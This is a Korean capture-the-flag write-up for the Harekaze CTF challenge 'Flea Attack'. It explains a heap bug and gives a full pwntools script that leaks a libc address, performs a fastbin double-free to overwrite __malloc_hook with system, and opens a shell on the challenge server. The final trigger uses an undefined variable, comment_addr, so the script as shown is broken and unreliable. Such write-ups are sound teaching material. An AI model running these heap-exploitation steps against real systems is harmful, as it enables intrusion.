Harekaze CTF - Flea Attack

문제 파일 (flea_attack.elf)

분석

  • 원하는 size만큼 malloc 가능
  • 원하는 주소를 free 가능
  • .bsscomment 입력할 수 있음.
  • comment뒤에 flag를 읽어온 데이터가 있음.

시나리오

문제 해결법은 comment뒤에 fake chunk를 만들고 해제한 다음 다시 거기에 할당하여 데이터를 flag전까지
입력한 다음 printf("%s")flagleak하는게 원래 의도였던 것 같다.

하지만

문제를 풀 당시에는 갑자기 이런 생각을 못했어서….

어차피 libc는 내 우분투 버전과 똑같을 것이다라는 전제하에 libc주소를 leak하고 쉘을 따버렸다.

solve.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from pwn import *

def add(size, name):
r.sendline('1')
r.sendlineafter(': ', str(size))
r.sendlineafter(': ', name)
r.recvuntil(': ')
name = r.recvuntil(': ')
addr = r.recvuntil('\n', drop=True)
r.recvuntil('> ')
return {'name': name, 'addr': int(addr, 16)}

def delete(addr):
r.sendline('2')
r.sendlineafter(': ', hex(addr)[2:])
r.recvuntil('> ')

libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
r = remote('problem.harekaze.com', 20175)
# r = process('./flea_attack.elf')
# print 'pid :', pidof(r)

r.sendline('/bin/sh')

# leak
add(0x80, '')
addr = add(0x80, '')['addr']
add(0x80, '')

delete(addr)

name = add(0x80, '')['name']
leak = u64('\x00' + name[1:6] + '\x00\x00')

log.info('leak : ' + hex(leak))

libc.address = leak - 0x3c4b00
log.info('libc_base : ' + hex(libc.address))

# fastbin dup
a = add(0x60, p64(0))['addr']
b = add(0x60, p64(0))['addr']

log.info('delete : ' + hex(a))
log.info('delete : ' + hex(b))
log.info('delete : ' + hex(a))

delete(a)
delete(b)
delete(a)

target = libc.symbols['__malloc_hook'] - 0x23

log.info('target (__malloc_hook - 0x23) : ' + hex(target))

add(0x60, p64(target))
add(0x60, p64(0))
add(0x60, p64(0))

# write system's plt on __malloc_hook
payload = '\x00' * 3
payload += p64(0) * 2
payload += p64(libc.symbols['system'])
add(0x60, payload)

# trigger
r.sendline('1')
r.sendline(str(comment_addr)) # &/bin/sh

r.interactive()
Share